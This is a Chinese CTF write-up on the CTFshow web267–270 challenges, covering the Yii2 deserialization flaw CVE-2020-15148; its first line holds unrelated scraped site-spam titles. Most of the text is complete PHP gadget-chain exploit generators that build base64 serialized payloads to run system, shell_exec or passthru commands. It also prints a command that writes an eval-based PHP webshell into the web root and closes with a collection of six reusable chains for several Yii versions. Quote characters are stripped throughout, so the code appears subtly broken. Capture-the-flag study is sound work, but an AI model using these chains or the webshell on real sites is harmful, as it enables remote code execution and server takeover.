免费下载代码的网站,免费做元宵节卡片的网站,软文推广平台排名,wordpress 博客 视频教程目录
web267
web268
web269
web270
总结 web267 页面用的什么框架不知道 看源码看一下 框架就是一种软件工具#xff0c;它提供了一些基础功能和规范#xff0c;可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架#xff0c;它们提供…目录
web267
web268
web269
web270
总结 web267 页面用的什么框架不知道 看源码看一下 框架就是一种软件工具它提供了一些基础功能和规范可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架它们提供了很多现成的功能和工具让开发者可以更轻松地编写代码不需要从零开始。使用框架可以加快开发速度、提高代码质量并且有助于维护和扩展应用程序。 查看源码发现有个yii.js的脚本文件。 yii.js是一个与Yii框架相关的JavaScript文件。Yii是一个流行的PHP框架它提供了一些功能和工具用于简化Web应用程序的开发过程。如果你在使用Yii框架构建网站或应用程序那么引用这个脚本文件可能是为了使用Yii框架提供的一些客户端功能或特性。判断出该网页使用的是yii框架 点进去发现是2.0的版本 网上也流传了反序列化链 Yii2 2.0.38 之前的版本存在反序列化漏洞程序在调用unserialize 时攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。 现在找一下入口由于是反序列化利用链我们需要一个入口点 弱口令登陆一下 看一下 发现about页面有一点变化 查看源码 给了个提示 给的是 我以为是在首页面位置使用呢 原来就是在adout页面用连接 因为就是这个页面给的提示 按理说就是应该在这个页面的url后加入该参数 发现一个反序列化入口点给了入口 和需要提交的参数名 访问一下 结果是空白 证明是有这个页面的光访问不行还得传个值否则访问不到 所以他才给提示 通用的链子 exp ?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this-checkAccess passthru;$this-id tac /flag;}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this-formatters[close] [new CreateAction(), run];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this-_dataReader new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));
}passthru也是远程命令执行的函数 这个方便 大师傅就凭着感觉走 切合实际 checkAess‘shell_exec’ idecho ?php eval(\$_POST[1]);phpinfo();? /var/www/html/basic/web/1.php; 注意看大师傅的视频特别是这个讲解 从头到位出问题 就得多尝试 有几点我说一下 命令多换换 单引号双引号多换换 还有转移 真的是学的越多越好 查询该页面位置pwd的时候 使用了DNS外带 标记一下有时间学DNS外带 大师傅如何确定的当前路径 在DNSLOG里面先复制地址 用的大佬的图 写shell 访问成功后 找到flag位置 web268 用267的方式试一遍 不行 可能被过滤了 把eval shell等字符串使用点进行拼接 发现还是不行 那就只能是一个原因了 这个链子被过滤了 这个链子用不来了了 现成链子 exp ?php
namespace yii\rest {class Action{public $checkAccess;}class IndexAction{public function __construct($func, $param){$this-checkAccess $func;$this-id $param;}}
}
namespace yii\web {abstract class MultiFieldSession{public $writeCallback;}class DbSession extends MultiFieldSession{public function __construct($func, $param){$this-writeCallback [new \yii\rest\IndexAction($func, $param), run];}}
}
namespace yii\db {use yii\base\BaseObject;class BatchQueryResult{private $_dataReader;public function __construct($func, $param){$this-_dataReader new \yii\web\DbSession($func, $param);}}
}
namespace {$exp new \yii\db\BatchQueryResult(shell_exec, cp /f* 1.txt); //此处写命令echo(base64_encode(serialize($exp)));
} 直接访问1.txt 在这里说一下大师傅说以后遇见这种yii框架的漏洞 找到入口把知道的链子都试一下 web269 还是一样的使用web268链子 发现成功拿下flag web270 还用web268链子 成功拿下 总结 这几道yii框架的反序列化漏洞 虽然没让我学会原理 但是我学会了 如果遇见某一类框架漏洞 直接找入口 找到入口后 网上找现成的链子 一个一个去尝试现在我的时间不多了只能按照教程这么思路的来一遍这种框架漏洞 具体原理目前没时间学 如果以后有时间搜索YII链子学习反序列化 2023/12/7 14:38图书馆 记录一下链子 poc1 ?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this-checkAccess phpinfo;$this-id 1; //命令执行}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this-formatters[close] [new IndexAction(), run];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this-_dataReadernew Generator();}}
}
namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}poc2 yii2.2.37 ?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this-checkAccess system;$this-id whoami;}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this-_dataReadernew DbSession();}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$anew IndexAction();$this-writeCallback[$a,run];}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
} poc3 2.0.38 ?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this-checkAccess system;$this-id ls;}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this-formatters[isRunning] [new CreateAction(), run];}}
}// poc2
namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes;public function __construct(){$this-processes [new Generator()];}}
}
namespace{// 生成pocecho base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?poc4 2.0.38 ?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this-checkAccess system;$this-id dir;}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this-formatters[render] [new CreateAction(), run];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this-description new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys [];private $path;public function __construct(){$this-path new See;$this-keys array(axinarray(ishandsome));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?poc5 2.0.42 ?phpnamespace Faker;
class DefaultGenerator{protected $default ;function __construct($argv){$this-default $argv;}
}class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;function __construct($command,$argv){$this-generator new DefaultGenerator($argv);$this-validator $command;$this-maxRetries 99999999;}
}namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{private $processes [];function __construct($command,$argv){$this-processes[] new ValidGenerator($command,$argv);}
}$exp new RunProcess(system,whoami);
echo(base64_encode(serialize($exp)));poc6 ?phpnamespace yii\rest
{class IndexAction{function __construct(){$this-checkAccess system;$this-id whoami;}}
}namespace Symfony\Component\String
{use yii\rest\IndexAction;class LazyString{function __construct(){$this-value [new indexAction(), run];}} class UnicodeString{function __construct(){$this-value new LazyString();}}
}namespace Faker
{use Symfony\Component\String\LazyString;class DefaultGenerator{function __construct(){$this-default new LazyString();}}class UniqueGenerator{function __construct(){$this-generator new DefaultGenerator();$this-maxRetries 99999999;}}
}namespace Codeception\Extension
{use Faker\UniqueGenerator;class RunProcess{function __construct(){$this-processes[] new UniqueGenerator();}}
}namespace
{use Codeception\Extension\RunProcess;$exp new RunProcess();echo(base64_encode(serialize($exp)));
}